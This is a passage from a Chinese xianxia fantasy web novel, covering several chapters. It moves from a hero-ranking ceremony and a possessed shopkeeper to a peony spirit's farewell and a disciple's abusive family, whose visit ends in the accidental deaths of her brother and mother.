钟诗琼吟完开场白,蹙起的蛾眉重新舒展开来,喜气洋洋;“各位,话不多说,名侠揭榜就此开始!”
人群又是一阵骚动,前面的都快趴在台子上了,后面的还在拼命往前挤,吵嚷声连成一片,钟诗琼依旧笑吟吟主持盛会,十二名侍女忙着维持秩序。
钟诗琼回眸看向那面挂着巨幅红绸的墙壁,缓声吟诵道:“乌骓云履走南北,白衣拂雪问西东。文龟蓍草占今古,千象算尽唯误君。”
红绸被一根细绳缓缓向着左边拉开,在露出最末位一张画像时停止。
全场哗然,惊呼低喊声不断,更有甚者差点冲上高台,幸亏有那些红裙侍女拦住了。
“我不服!凭什么裴道长排最后一名!老板你是不是卡黑钱了?”
“对!我也不服!裴道长那么大能耐都排最后,究竟是谁能越过他去?”
“老板你给我们一个说法!”
钟诗琼面不改色依旧带着微笑,团扇抬起往下压了压示意全场安静,从黑漆方托盘里拿出一枚留影石来,将这晶石往空中一抛立刻光芒万道、灼灼刺目,光影中浮现一玄衣道长的身影,倒提浮尘、步履如风穿梭在密林边陲,追逐着前方漆黑一片的夜色里时隐时现的一道残影,丛林深处光线昏暗,天空更是黑如墨染,雨点似爆豆般往下砸,那年轻人一身道袍往下滴水,在几乎不能视物的密林中如履平地,忽然之间他停住了,凝神细听……
全场霎时安静下来,听着稀里哗啦雨打树叶的嘈杂声音,不知道这道长能在这样喧闹的声响中分辨出来什么。
答案很快揭晓,这道长脚跟一转倒转方向往回追去,跟迎面慌不择路逃跑的妖物撞了个对脸。
不止是那大妖傻了,连在场观众都傻了,好半天才明白原来是裴暮雪跑得实在是太快,反超了妖物自己都没反应过来。
大雨哗啦啦,如天河倒倾,一道霹雳打下来映亮了他苍白冷峻的半张脸,道道水痕顺着下颌聚成一条水线,几滴血飞溅到他脸上,如绽开的点点桃花,疏忽间又被雨水冲刷干净,大妖的尸体重重栽倒之时,刺穿它胸口的拂尘收了回来,须尾血红一片……
好半天全场重新沸腾起来,个个竭尽全力嘶吼喊叫着,“裴暮雪”三个字简直
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要掀翻屋顶,沉醉在裴暮雪斩杀妖兽的精彩一瞬竟都忘了自己方才是为什么而争论。
正在钟诗琼清清嗓音打算继续主持盛会之时,自门口飞进来一把鬼头刀,打着旋儿只奔钟诗琼颈嗓咽喉而来,钟诗琼站在原地一动不动,旋风般飞卷的刀刃在她瞳孔里渐渐放大,眨眼间近在咫尺,刀刃几乎要削掉她的鼻子,一道黑影自门口闪电般窜了进来。等众人看清那是个玄袍道人时,鬼头刀刀柄已经被他紧紧握在手心里,刀刃就横在钟诗琼眼前,她的鼻梁上以肉眼可见的速度出现了细若游丝浅浅一道印子,那细如牛毛的口子正中冒出一点血珠,血丝往两边蔓延开来,很快整条伤口都开始往外冒血珠子。
“都给我滚!”
不用他提醒观众们早就如鸟兽散了,在九洲生存别的不提,眼力见一定要有,遇见神仙打架能跑多远就跑多远,不然就算殃及无辜也没地方说理去,想当初某仙门爆出一个惊天大瓜,某弟子思慕清冷绝尘的师叔堕入魔道,追着那少女宗师一路到了人界,两人各自执剑立于城楼之上遥遥相对,一人高喊:“你若敢死,我就让这整个城池给你陪葬!”
另一人冷笑:“本君就是死,也要为世间铲除你这仙门败类!”
一线吃瓜群众不以为然,八卦的眼睛直冒火星子,尤其是各大书楼茶馆的小伙计,恨不得蹲在两位大佬的脚边观察其眼神动作,揣测其心理活动,这要是整理成册那就是头版头条啊,绝对卖爆、卖脱销了!结果美梦还没成真,那魔族少君一剑荡开,一线吃瓜群众惨遭团灭……这宝贵经验都是前辈们拿命淌出来的啊,衷心奉劝各位吃瓜群众,珍爱生命远离八卦!
叶斐见烂摊子有人接手,从善如流地带着罗小嫣离开了。
“红线仙!”
之前还熙熙攘攘的红线坊此时人去楼空,裴暮雪一声断喝在空荡荡的小楼里回响。
红线仙手执团扇,两点秋眸看着眼前怒发冲冠的道士,丝毫不顾及他手中诛邪除祟的鬼头刀就架在自己脖子上,依旧十分友好亲切,仿佛他是自己的一位大买主。
“暮雪哥哥何必这般大动肝火?莫不是因为名侠榜没有排到第一,恼羞成怒了?”
裴暮雪咬着牙,腮边肌肉颤抖,一字一顿道:“给我滚出琼儿的身体!”
红线仙一挥广袖轻轻坐在了桌沿上,一手撑着桌面一手徐徐摇着团扇,歪着头打量气撞顶梁的裴暮雪,咯咯轻笑出声:“跟你说过多少遍了,我若离开,她也活不了,我们是一体的,我就是她,她就是我,你是分不开的……”
裴暮雪手中长刀往下一落,斜插在高台木板上,郁怒难平,紧盯着红线仙的眼睛,恨不得将她碎尸万段,急促地呼吸几下,一股无力感又涌遍全身,他的确拿红线仙没办法,她说得对,她就是钟诗琼灵魂的一部分,生则同生,死则同死。
裴暮雪紧紧抓着刀柄,似乎稍一松手整个人就会哗然倒地,用愤怒粉饰自己的无能,诘问红线仙:“你不是说过,每年只会占据她的身体三次吗?”
79. 仙凡之别
红线仙眼珠轻转,同一具身体,由她来主宰时总是这般千娇百媚、妖艳多情,开口幽叹一声:“暮雪哥哥,你是不当家不知柴米油盐贵啊,就她经营的这间纸扎铺,一年到头不赔钱就算赚了,若没有我明里暗里帮忙早就倒闭了,你这大忙人呢又指望不上,眼看下个月又要喝西北风了,我当然得为了我们的生计打算啊。”
裴暮雪闻言心里不知是何滋味,握刀的手渐渐放松,有意无意摩挲着雕刻梵文的刀柄,眼睛往下垂看着自己的靴面。
他知道钟诗琼独自经营着她祖父留下的纸扎店不易,但万万没想到竟到了食不果腹的地步,每次偷偷留下的银钱她都会原封不动地还回来。
他明白她的坚持,但还是忍不住想多照顾一些这个无依无靠又云淡风轻的姑娘,用尽了各种手段,甚至是耍赖都没用,不收就是不收,却在他每次路过槐荫镇时招呼他进来吃饭,处理委托回来每次都是深夜或者凌晨,客栈都已经关门落锁,唯有她的纸扎店孤灯长明。
仙凡有如云泥,他早已结了金丹,修得仙身,但她只有短短几十年的寿命,于他来说,她不过就是漫长仙途中的一朵小花、一滴露珠,稍纵即逝,太过留恋就会生出执念,纵使像某些先辈一样踏破轮回,寻得故人旧姿又如何?终究似是而非、镜花水月,殊不知将满心痴妄付诸于第三人,于哪一方来说都是沉重的枷锁与束缚。
仙途凄冷,因为怕误惹相思,才要断绝六欲,不以一人私欲搅乱六界轮回,相濡以沫不如相忘于江湖,并非仙者薄情,而是对一人的爱早已刻入他的命薄,于是便拼尽全力守护她曾存在过的这个世界,倘若有朝魂归大地,弥留之际不觉释然而笑,我终于可以来找你了……
“裴道长?”
一只纤纤玉手在他眼前晃了晃,腕上一只缠丝双响镯叮叮当当,那应该是她最后一件首饰。
“裴道长怎么来了?”
裴暮雪微微愣了一下,随即恢复如常笑意:“路过,进来看看你。”
“那留下吃个饭吧,我做拔丝地瓜饭和醪糟汤。”
“那我来给你打下手。”
他看着那道娉娉袅袅的背影,胸中一片惘然的轻愁,但他向来拿得起也放得下,如今便且行且珍惜吧,他这样想着,提起了空着的水桶往后院走去……
叶斐带着罗小嫣买了点心、打了两瓶桂花酒,二人一起登上画舫。
船在湖心缓缓荡开,点点杨花自两岸飘坠湖中,轻薄如雪。
这一小瓶桂花酒量并不多,打开后浓郁的香气霎时盈满了小小的画舫,米黄的小瓷坛上贴着菱形粉色香笺,簪花小楷题了小诗几行,新雅至极,浅酌几口花香胜于酒香,前尘往事在唇齿间蔓延开来,情到浓时又随着酒香淡去而归于寂灭。
罗小嫣眸光渐渐湿润,看着眼前面如冠玉的青衣少侠不知是何感想,似是而非、镜花水月,心心念念等待的人终于回来了,却告诉她,物是人非事事休,但又愿意陪她一起完成陈年旧愿,何其残忍?又何其温柔。
“小嫣?你怎么呢?”
罗小嫣愣了一下,感觉到冰冷的液体滑下了眼角,看着眼前人柔和眉眼、姣好冷唇,差点失了分寸就张手抱住了他的脖颈,如果可以,她多想就这样靠在他怀里,从此不必再孤独漂泊。
可是,他只是叶公子,不是她要找的人。
摇摇头拭去眼角的泪,咽泪装欢:“没事,只是有些不胜酒力。”
时间渐渐在船儿荡开的涟漪里流逝,随着花环上坠落的花瓣飘飞,纵使再怎么挽留祈祷也是枉然,他陪着她一件件完成隔世的旧约,牵着她的手,落在别人眼里仿佛一对甜蜜的恋人,罗小嫣却明白,一切不过是温情脉脉的假象,是眼前人凛凛侠骨里镌刻的柔情。
暮色渐合,二人这才相携回了黑狗村,罗小嫣头上的花环有些枯萎了,脸上的笑意却丝毫不减,眸光亮晶晶莫名怅然,主动打破沉寂,已经占有他整整一天了,该放手了。
“元福哥哥,我们到家了……”
刚说到这里叶斐忽然半蹲了下来,全神贯注盯着路边的草丛,罗小嫣到嘴边的话咽了回去,也盯着那垛杂草,不知道有什么端倪,少顷就见叶斐站了起来,微微合拢的双手递到她眼前,修长十指张开,微弱的莹莹绿光自指尖透露出来,那点星星似的光团渐渐从他手里飞了出来,一点一点,越来越多,越来越亮,亮得让罗小嫣看不清叶斐的脸,只觉得有数不清的星星围绕着自己翩翩起舞,眼前的叶斐模糊地如同隐在云雾后的月亮,虽然模糊依旧耀眼。
她伸出手,一只闪烁着幽蓝色光茫的小虫子落在她指尖,酥酥痒痒的,倾刻间又飞向远处。
他送她的星河在灼痛她的眼睛,喧哗灿烂过后消失不见,如烟花一刹,如繁花凋谢。
她对着耿耿星河,笑了,清泪漫出眼眶。
“谢谢你,”
她展开双臂,轻轻吸了吸鼻子,含情眸狡黠地转动,故意提高调门:“我的最后一个愿望——你能抱我一下吗?”
叶斐微微愣了一瞬,灵魂里仿佛有股执念在驱动着他,步步向眼前的姑娘靠近,眸光有些涣散地凝望着她,忘了自己是谁,双手在她两肋下托起,漫天星河、周围遮掩在月光银色纱曼里的花草树木随着他们一起旋转、沉沦,四目相对,莫名的悲怜与怅然、难言的辛酸与失落,在这相对无言的静谧中相互交织,竟都看懂了彼此眼里的真挚。
“谢谢你,叶公子。”
姑娘漆黑的眼眸氤氲着梦幻般的紫色雾气,她整个身体在叶斐手里渐渐变轻,没有一丝重量,仿佛一片被夜风拂起的纱,叶斐再也拉不住她,一股无形的力量拉扯着罗小嫣的身子向上空飘去,他不敢用力只轻轻拽着她一只手,看着她原本温暖的身体渐渐虚幻,空气中弥漫开馥郁到醉人的花香,浓烈地令叶斐啮指噬心般疼痛,仿佛是花妖将自己的灵魂点燃了给予他最后的礼物,心若游鹤的少侠眼眶酸涩,一滴薄泪滑落腮边时,漫天紫色花瓣向他涌来,每一片都在拥抱了他之后化为灰烟。
她说的都是前世之事了,怨不得叶斐不记得。
前世的叶斐的确叫李元福。
据说李家的宅子长久不住人经常闹鬼,据说夜夜能听到女子凄婉动人的歌声。痴情的女鬼化作花妖痴痴等候主人归来。
那世人口中诡秘莫测的荒宅是修无情道的梵净山大师兄叶斐的家,他许久不归,父母早已失散,他都忘了自己还有这么个家。
有一年此地强盗盛行,他的父母跟着乡亲们逃离,再也没有回来,途中他被弄丢了,父母带着弟弟逃跑,李元福昏倒在草丛里饿得眼冒金星,被一商人捡了回去。
其实他不是走丢的,而是被父亲扔掉的,因为当时是灾年,又在逃亡中,实在养不起两
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个孩子,丢掉大一点的孩子,他或许还有一线生机。
他被父亲领到一个地方,让他站在原地不要动自己去山里摘点野栗子,可是他再也没有等到父亲。
李元福小时候特别喜欢牡丹,培养了许多名贵品种,其中长势最好的要数魏紫。
鬼宅的秘密最后被一群仙门弟子揭露,原来所谓的鬼是一直等着主人回来的牡丹花妖,她不想这间宅子被强盗县官抢占,所以总是捣乱吓唬他们。
直到叶斐回来,花妖才现身,她早已修炼成仙却迟迟不走,在荒宅独守九百年,只为继续追随前世的恋人,叶斐却摇摇头,他说:仙凡有别。
虽然花妖离开了,但是元福哥哥的名字已经叫响了。
第二天,众人出了房间,发现下雪了,伸手一接直呼晦气,原来头顶正往下飘纸钱,而且整个村子里的房屋都消失了,人也消失了,原本静谧的小村子倾刻之间变了样,房屋倒塌一片,土木焦黑,甚至连地面都是一片焦土,散发着大火焚烧过后的难闻气味,十分呛人。
村前村后是一大片坟地,几乎埋了整个村子的人,从老到少,密密麻麻,而在他们身后的荒宅里,院子一角倒着一匹纸扎的白马。
路过村头一方孤零零的墓碑时,穆晓晓感觉有些奇怪,这个似乎不是本地人,但这块墓碑经过风雨剥蚀,上面的字迹已经模糊不清了,隐隐约约只能看到“可昔”二字。
穆晓晓看着走在自己身侧的叶斐,大师兄似乎跟平时有些不太一样……半晌,她有些惊喜又有些激动地叫了出来:“大师兄,你心境进阶了是吗?”
叶斐闻言也是一愣,继而自己也反应过来了,他的心境的确过了三品断六欲,是从什么时候渡过的呢?叶斐不想再去纠结,迈步走出了荒凉的黑狗村,这个地方或许此生不会再涉足,但有一株牡丹却开在了心底。
合起的折扇在手心漫不经心地敲击,郁霄眺望着远处苍山峻岭道:“再翻过三座山就是鸢歌城了,不出意外的话四月初我们就能到了。”
穆晓晓看着远处隐没在云层里的山脉,一条条黛色弧线接着青天,仿佛画上去的一般,仰天长叹:“这要猴年马月才能到鸢歌城啊?为什么历练不能御剑?为什么历练不能骑马?为什么还要沿途处理各种麻烦事啊?”
楚纤茉无奈地笑笑:“所以才叫历练啊,风一般刮过去怎么能体会到世间百态?”
郁霄点点头:“小师妹说得有理,正所谓望山跑死马,我们还是慢慢走吧,到哪儿算哪儿,小师叔也说过,不必一味求快,就算他规划的历练路线走不完也没关系,他最终看的是我们的心境有无长进。”
穆晓晓眼珠一转,故意提高嗓音道:“哪有你们说得那么容易,提升心境要看机缘好不好?不是谁都有元福哥哥那样的奇遇的……”
走在前面的叶斐脸腾得红了,慢吞吞道:“怎么又扯上我了……”
几人说说笑笑间忽见自山上下来了一行人,有男有女、有老有少,看着像是一家子,有的背着背篓,有的挎着篮子。
其他人倒没什么,唯独楚纤茉在看到那行人时险些真魂出窍,脸上瞬间血色全失,眼前猛然一黑差点栽倒在地,仿佛暴露在光天化日之下的小耗子般无处遁形,如果现在地上有个地缝她随时都会钻进去。
悄悄躲在了师兄、师姐们身后,低着头祈祷自己不要被发现。
80. 风催雨折
两拨人离得越来越近了,从百步之遥到二三十步,几步。
楚纤茉浑身冒虚汗,哆哆嗦嗦连路都不会走了,心跳快得不正常,似乎随时要跳出嗓子眼,每一步都仿佛走在炸弹上,下一刻就会被炸得灰飞烟灭。
终于,要与那群人擦肩而过了,叶斐过去了、郁霄过去了,楚纤茉低着头一咬牙快走几步,从两位师兄身侧绕了过去,刚好避开了那群瘟神的视线。
走出五六步远,终于算是躲开了,楚纤茉浑身如被冷水浸透,腿软得仿佛两根面条,劫后余生还没来得及松口气,一声追魂夺命的喊喝声自身后响起。
“二姐!那不是二姐吗?”
“爹!那个人是二姐!”
楚珏在原地大声喊嚷着,将本来打算离开的爹妈、长姐都叫住了。
一个中年男子略显质疑:“不能吧?那些人看着像修仙的,你姐怎么可能跟他们待在一起,你小子看走眼了吧?”
楚珏一蹦三尺高,急得想冲过去看个究竟,但被楚父拦住了,嗔怪道:“你别瞎胡闹,冲撞了仙长们可怎么是好?”
这群人在后面吵吵嚷嚷叶斐等人怎么可能听不见,穆晓晓回过头看去,一个十二三岁的小男孩已经跑了过来,看起来有些尖嘴猴腮,冲着楚纤茉喊道:“二姐,你别装不认识我们啊!你倒是看看啊,爹娘都在那边等你呢!”
爹?娘?
楚纤茉险些咬碎了银牙,死死咬着唇内软肉,尝到了血腥味才堪堪稳住心神。
穆晓晓看看眼前的男孩又看看自己的小师妹:“这真是你弟弟啊?”
楚纤茉已经调整好了表情,微笑着朝师兄、师姐们点点头:“是啊,真是好巧,没想到在路上遇到了,师兄师姐们请先行一步,我说几句话就来。”
楚珏露出了一个天真无邪的笑容,仰头看着楚纤茉,眨巴着两只小眼睛:“二姐,既然回来了不如顺便回家看看啊,祖母和叔叔,也都想你了呢。”
楚纤茉和楚珏对视着,两个人都淡淡笑着,但怎么看怎么古怪,楚纤茉捏紧了广袖下的拳头,指甲寸寸掐入了血肉里,随着楚珏一步步往前走,仿佛又一次走进了幽暗冰冷的枉死城。
她神色木然,压低声音道:“你又想搞什么鬼?”
楚珏怪笑两声,声音透出不属于他这个年龄的狡诈与阴狠,用只有楚纤茉一个人能听到的声音道:“二姐姐如今好不风光啊,真是一朝龙在天,翻土脚下泥啊,真是让人看着不爽,总想把你重新踩在脚底下……”
楚纤茉冷笑:“你也得有这个本事。”
楚珏微微一挑眉,二姐姐真是出息了啊,以前被他骑在头上拉屎撒尿都不敢反驳一句,还真是长本事了,修了仙又如何?想把你拉下马还不是轻轻松松,既然不听我摆布,那就休怪我手下不留情了。
楚纤茉已经走到了众人跟前,飘飘一礼,皮笑肉不笑:“纤茉见过爹爹、母亲,还有大姐。”
楚母仿佛失忆了一般,再也不提前事,放下手里的农具几步走了过来,按着楚纤茉的肩膀从头到脚打量,眼睛都在冒光:“哎呦!真是我二姑娘啊,好孩子,真是出息了,爹娘没白疼你一场……”
说着抹起了眼泪,仿佛因孩子一年多没回家思念成疾,故喜极而泣,紧紧拉着楚纤茉的手,而楚珏也怕楚纤茉逃跑一般死死攥住了她的胳膊,低笑道:“二姐姐,既然都到家门口了就带你的朋友们多住几天吧,这也是人之常情,二姐姐没有意见吧?”
叶斐等人早已经走了过来,拱手向众人施礼,面向楚父道:“伯父好,我等都是纤茉的同门,近日是奉师命下山历练,幸遇伯父伯母,晚辈叶斐给二位见礼了。”
楚阔海微微一笑:“几位真是人中龙凤,闻名不如见面啊,犬子说得对,既然都到家门口了,还请几位到寒舍略住几日,也好让老朽一尽地主之谊,答谢几位仙长对我女儿的照顾。”
楚纤茉一听这话心里突突乱颤,隐隐觉得即将大祸临头,右眼皮跳个不停,顾不上其他急忙拦阻道:“爹,恐怕有些不妥,我们这次下山还有重任在身,实在不敢耽搁,等我们返程之时再说吧,届时我定带着师兄师姐们在家里多留几日!”
接着又回头看叶斐,眸中满是焦急与期盼,希望他能帮自己一把,早点离开这是非之地,可惜叶斐并没看懂她的眼神,只以为是客套话,微笑道:“不妨事的,师妹经过家门岂有不进去的道理?况且小师叔说过,万般皆是缘,说不定师妹的奇遇就在此处,岂能轻易绕开呢?”
楚阔海也连连点头:“叶公子说得对,纤茉,你就听你师兄的吧,走走走,大家一起回家。”
楚母、楚雾欢、楚珏等人也都帮着叶斐他们拿行李。
楚纤茉看着走在自己前面相互攀谈的两拨人,眼前发黑,头皮也是阵阵发麻,仿佛坠入了寒冰地狱。
死定了,这下死定了。
她眼前漂浮着几个血红的大字,灵魂从躯壳里飘了出去,如在云里雾里一般走进了困了自己多年的牢笼里,原本以为踏上仙途就可以摆脱命运的束缚,没想到兜兜转转却还是回到了这里,拿自己可悲可笑的命格毫无办法。
楚纤茉万念俱灰,握紧了悬在腰侧的剑柄,又咬了咬牙松开了,头疼得近乎要炸裂。
不能死,不可以死,死了就是把无尽的苦难翻个倍推给下辈子的自己,她能承受得来吗?
一脚踏入了地狱入口,乱糟糟的声音在耳边嗡嗡作响。
“纤茉,快去给奶奶叩头,奶奶念叨你许久了,你小叔也在呢。”
小娼妇,活在世上不知要祸害多少人家的好男人!
今天打不死你老子把楚字倒过来写。
扑通跪在了地上,叩头如捣蒜:“纤茉请祖母安,请叔父安。”
纤茉,纤茉!纤茉!
“纤茉,你怎么不说话啊?奶奶问你呢?”
楚纤茉回过神来连忙站起身,看着坐在床上的老太太,她皱纹堆累,脸颊凹陷下去宛如核桃皮,嘴角向下撇着,一开口带着颤音:“纤茉啊,你现在出息了,可你弟弟还没个着落,你们是亲姐弟,要相互帮扶才是,别看你现在好了,以后免不了也有需要人家的时候,一家子过日子难免磕磕碰碰,过去的就让他过去吧。”
“是,纤茉谨记。”
想得美,他不招惹我便罢,再敢挑衅诬陷,休怪我翻脸无情。
而一旁边,楚珏正冷冷盯着自己那柔弱可欺的二姐,狡黠的眼珠咕噜噜转了几下,嘴角绽开一丝笑意。
因为来了客人,一家人忙着张罗晚饭,楚雾欢趁机将二妹拉到了僻静处,她眼角含着泪花,伸手轻轻理着妹妹鬓边的发丝,嗓音带着一丝哽咽:“你啊,怎么一声不吭就离家出走了?你知道我们有多担心吗?以后可不许这样了……”她说着从自己手腕上卸下一只镯子,吸吸鼻子止住悲声,红着眼眶将银镯子套到妹妹手腕上,拉着她的手端详了一会儿,又含笑道,“女孩子啊,腕上就该有只银镯子,你看看你,身上连件像样的首饰都没有……”
楚纤茉冷冷看着她在自己面前又是哭又是说,脑海里不时浮现出以往的经过,弄坏自己的玩具嫁祸给她,老太太为了安慰大孙女马上又买了更豪华漂亮的;偷了叔父的银子出去请别人吃零嘴儿,假惺惺叫上楚纤茉一起,到头来却要她背锅;在深夜里闹着要吃橘子,楚家人你一言我一语逼着楚纤茉出门去买……
你大姐最是胆小了,不然早就自己去买了,哪里用得着你?
你弟弟还小,万一带出去惊着吓着怎么办?
我也想吃口橘子,你难道连这点孝心都不愿意尽吗?
……
无数个黑夜里,她提着灯笼,胆战心惊地走在黑漆漆的道路上,听到一点响动就吓得要死,最可恶的是野鸡、猫头鹰,前者总是咯咯大叫着突兀地从草丛里飞出来,后者冷不丁就发出让人毛骨悚然的桀桀怪笑。
楚纤茉总是被这些飞禽吓得魂飞天外,第一次走夜路的时候,她被夜枭吓得蹲在地上哭了起来,掩着自己的嘴巴满手心都是冰冷的泪水。
有了一次就有无数次,她说自己害怕也没人信。
装什么蒜,你上一次怎么敢出门的?外面有鬼等着你不成?
得了这口彩,那一次出门她就真的撞上了阴客,那是一段很长很黑的路,手里的灯笼只能勉勉强强照亮脚下方寸土地,道路尽头就是点心铺子,大门口挂着一盏红灯笼,对面是低矮的仓库,墙上刷着一层白灰,在红灯的照耀下,仓库的墙面变成了诡异的粉色。
楚纤茉加快了脚步,走到铺子里就不怕了!她这样想着,冷不丁一抬头,心脏都停止跳动了,定在原地双目直勾勾看着正对自己的那面粉墙,墙上,不知何时多了一个人影,十分清晰地映在上面,几乎是成人那么高,头上有两根细长的触须缓缓抖动着,身上穿的似乎是花旦戏装,抬起了手,不停地朝楚纤茉勾手,不停地勾着……
手里的灯笼掉在了地上,蜡烛扑地而灭,楚纤茉只想转身就跑,双腿却早已瘫软了,她重重摔倒在地上,内心一个声音凄厉地喊着,有人吗!有人吗!救命啊!救命……
她只能紧紧闭着眼睛,蜷缩在地上一动不动,周围没有一丝声音,寂静如死的夜里,一个七八岁的小女孩孤零零趴在地上,像一只无家可归的流浪狗一样颤抖着,汗流浃背,湿透的衣服很快又被冷风吹干,她不敢抬头,不敢睁眼,害怕那东西此刻就站
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在自己眼前,或者弯腰看着她。
那一夜,是她这辈子渡过的最漫长煎熬的一夜,直到天欲破晓,雄鸡鸣叫,她才敢抬起酸疼得像是要断掉的脖颈,眼前空无一物,对面的白墙壁上什么也没有。
她抓起地上的破灯笼,披头散发,摇摇晃晃,一步步挨进了家门,自此之后噩梦缠身,苦不堪言。
楚雾欢离开了,楚纤茉呆站在原地,褪下腕上那只银镯子,面无表情地随手一丢,打算回自己的房间里去,身后忽然传来一声低笑,她下意识地拔出了佩剑,一转身却看到了令她最恶心却又最恐惧的一张面孔。
“二姐姐,你怎么这么不小心,又让我给抓到把柄了哦,”楚珏拿着那只银镯子,漆黑的瞳孔里闪烁着恶劣的笑意,“这镯子可是大姐的定亲信物,突然落到了你手上,”他惊叹一声,“莫非,二姐姐你勾引了大姐夫不成?”
“你住口!”
楚纤茉气得浑身乱颤,拿剑对准了眼前恶鬼般的男孩,这哪里是她的弟弟,分明是她上辈子的冤家、讨债的厉鬼!
她呼吸急促,气得眼前发黑,强压下心头一口恶气,剑尖缓缓向下垂落。
别理他就是,以后我楚纤茉就是死,也不再进这个家门一步。名声,清誉,对我来说狗屁不是,我要冷静,他无非是想激怒我跟他起冲突,再到老太太面前告状闹得鸡犬不宁罢了,我偏不让他如意!
楚珏看她居然冷静下来了,缓步走到了她面前,凑近她耳边低声说了一句什么。
楚纤茉瞳孔骤缩,一把抓住了楚珏的衣领,她眼眸充血,浑身颤抖得仿佛中风了一般,一巴掌结结实实抽在了那张肥胖的脸上,抽得自己的手腕处传来尖锐的疼痛。
“你说什么?你敢再说一遍!”
楚珏腥红着两只眼睛,龇牙咧嘴,像只被激怒的疯狗,尖叫一声就朝楚纤茉冲了过来,楚纤茉一侧身在他脚下一勾,楚珏摔了个狗啃泥,趴在地上半天起不来,好不容易才手脚并用爬了起来,一回头居然是满脸鲜血,仿佛发了疯般又朝楚纤茉扑了过来,楚纤茉这时才有些慌张,忙中出错提剑想去吓唬他一下。
“滚开!听到没有!”
哪知楚珏抓着她的剑刃狞笑着扑了上去,噗呲——滚烫、粘稠的液体喷了楚纤茉满头满脸,糊住了她的眼睛,她仓皇后退两步,仿佛被蛇咬到了一般急忙甩开手,被恐惧攫住了心脏,连忙左右看看……没人,现在跑没人知道是她杀的,她也不是故意要杀了楚珏啊,是他自己扑上来的!可惜没有用留影石记录下来刚才的争执,说出去不会有人为她做主的,跑吧!
脚步一转又顿住了。
不行,就这么走了不就证明了我是做贼心虚吗?
咬着牙僵在原地,直到身后传来重物踉跄倒地的声音,楚纤茉惊得脸色煞白,一回头看到自己母亲倒在地上,手里的碗盘碎了一地,连忙奔过去扶起:“娘!您振作点儿!
楚母好一会儿才回过神来,张着嘴巴发不出一丝声音,瞪大了眼睛死死盯着不远处血泊里儿子的尸体,眼看就要背过气去,楚纤茉又是帮着抚前胸捶后背又是灌输灵气,楚母“哇”得一声吐出了一口血,梗着脖子僵硬地看向楚纤茉,两眼泛着血丝,仿佛一头失去幼崽的母狼,抬手一巴掌扇在楚纤茉脸上,扇得楚纤茉耳朵嗡嗡作响,好久都听不见周围的声音……只看见身边渐渐围了好多人,都是她认识的、熟悉的面孔,有人撕心裂肺地大哭大喊着,有人苦口婆心地劝慰着,有人前前后后翻找趁手的家伙想将楚纤茉先制服。
楚纤茉摸摸自己高高肿起的半边脸,抬手擦干了嘴角的血液,缓缓站了起来。
楚阔海已经拿着绳子走到了她跟前,两只眼珠子几乎要瞪出眼眶:“小畜生!你……你居然如此狠毒,家门不幸啊,我怎么就生了你这么个小畜生!”
楚阔海正破口大骂,一条黑影忽然从他身边窜了出去,风一般眨眼间到了楚纤茉近前,手里高举着一把明晃晃的菜刀嘶吼着朝她面门劈去,但到底是凡夫俗子,动作再快在楚纤茉修仙之人的眼里都慢了不止一星半点,她下意识闪身往旁边一躲,那人来势汹汹用了十成十的力气,这一下没砍到楚纤茉失了准头,整个人向前栽去,只听噗呲一声,有什么东西撞在花坛拐角上,发出了沉闷的声响,磕得脑浆迸溅、桃红满地,菜刀哐当一声掉在了地上,尸体随之惨然扑地。
众人皆是始料未及,个个愣在了原地。
楚纤茉一转头看清那人的模样,一口气噎在嗓子眼里几乎晕厥过去,双腿没有一丝力气,只能连滚带爬、手脚并用扑到了那人身边,双手触到了地上滑腻的鲜血,抱着那人的尸体,将全身灵气聚集在掌心,死死捂住了她额头流血的破窟窿。
81. 覆水难收
楚纤茉失神地盯着眼前死者双目怒睁的面孔。
“娘……我不是故意的……我……怎么会这样……”
肩头仿佛被一只象腿踢中,楚纤茉摔倒在地吐出了一口鲜血。
楚阔海将妻子的尸体抱起,跟儿子放置在一处,他脸上没有一丝表情,身上满是妻儿的血迹,一个七尺高、膀阔腰圆的成年男人,脚步虚浮地走不动路,险些给楚纤茉跪下,楚纤茉吓得直哆嗦,浑身颤抖着,咽泪喊道:“爹……”
楚阔海都气哭了,指着楚纤茉哭一会儿笑一会儿:“你也别叫爹了,你是我爹,冤家啊……小畜生!你但凡还是个人,有一丝丝羞耻之心,你就给我等着!杀人偿命,欠债还钱,你如今弑母杀弟,你就等着吧,我就不信那梵净仙门能饶过你这罔顾人伦的小畜生!”
眨眼之间楚家两口人就没了,叶斐看在眼里急在心里,但楚阔海眼下丧妻丧子,精神早就失常了,规劝不了分毫,弄不好两拨人都得打起来,他现在真恨自己当初没听楚纤茉的话,要是在黑狗村遇到这伙人打个招呼就走,怎么会出这档子事。
但现在后悔已经来不及了,这么大的事情自己虽然是门派大师兄也没办法轻易断决,只能是飞书穿信给师门,将情况大致交代清楚。
穆晓晓急得直跺脚,连连瞪叶斐,小声埋怨他:“蘅泽君是什么脾气你又不是不知道?重视弟子的品行胜过修为,让他知道纤茉的事还得了?纤茉非死不可!”
叶斐也叹气,无奈道:“事到如今多说无益,纸包不住火,小师妹就算是躲得过一时躲不过一世,我之前也想过让她隐姓埋名销声匿迹,可依照宋师叔的脾气,此举无疑是坐实了纤茉弑母杀弟,畏罪潜逃罪加一等。”
郁霄看着不远处瘫软在地万念俱灰的楚纤茉,摇摇头轻叹道:“唯今之计只有靠我们了,她是指望不上了,恐怕如今只但求一死以赎罪业了。”
穆晓晓连连点头:“楚母明明是想杀纤茉的,被纤茉躲闪了开来,自己不小心才撞到花坛意外身亡,至于楚珏,我想肯定也是个意外,纤茉那么温柔善良,怎么可能对自己的亲弟弟起了杀心?只是纤茉她现在精神恍惚,但愿在宋师伯面前能为自己申辩几句,我们也好帮腔。”
且说宋霜,正在蘅泽峰后山闭关忽然一阵阵心血来潮,紧接着就收到了掌门叶静秋密令,短短五个字却让他感觉事态十万火急——速来清言堂!
宋霜顾不得修为凝滞,当即结束了闭关,乘风借雾不消片时到了清言堂,九位长老倒有七位都到齐了,个个面色凝重,一反常态齐齐看向他。
宋霜给师兄师姐们见礼,随后看向叶静秋:“掌门师兄,发生了何事?”
叶静秋沉吟不语,将一张信纸递向他。
宋霜揣着满腹疑虑一目十行看过去,双眸赫然睁大,捏着信纸的手抖个不停。
沈檀溪抿了一口茶,见八师弟额角青筋都暴起了,不紧不慢地劝道:“叶斐说的清楚,所谓弑母乃是意外,你何必这般大动肝火?莫要被怒气冲昏了头脑才是。”
